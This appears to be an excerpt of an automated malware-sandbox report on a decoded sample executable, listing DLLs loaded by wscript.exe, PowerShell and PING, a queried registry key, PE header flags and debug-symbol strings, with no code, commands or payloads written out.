Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: embly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000009.00000002.3002197915.0000022AEA9CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbd source: powershell.exe, 00000008.00000002.3145322082.000002646DCBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000008.00000002.3145322082.000002646DCBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb089 source: powershell.exe, 00000010.00000002.2788067216.0000022039829000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbK source: powershell.exe, 00000008.00000002.3145322082.000002646DC8B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdbQoS Packet Scheduler-0000 source: powershell.exe, 00000010.00000002.2788067216.000002203987F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.3145322082.000002646DC8B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb2 source: powershell.exe, 00000008.00000002.3145322082.000002646DCB5000.00000004.00000020.00020000.00000000.sdmp
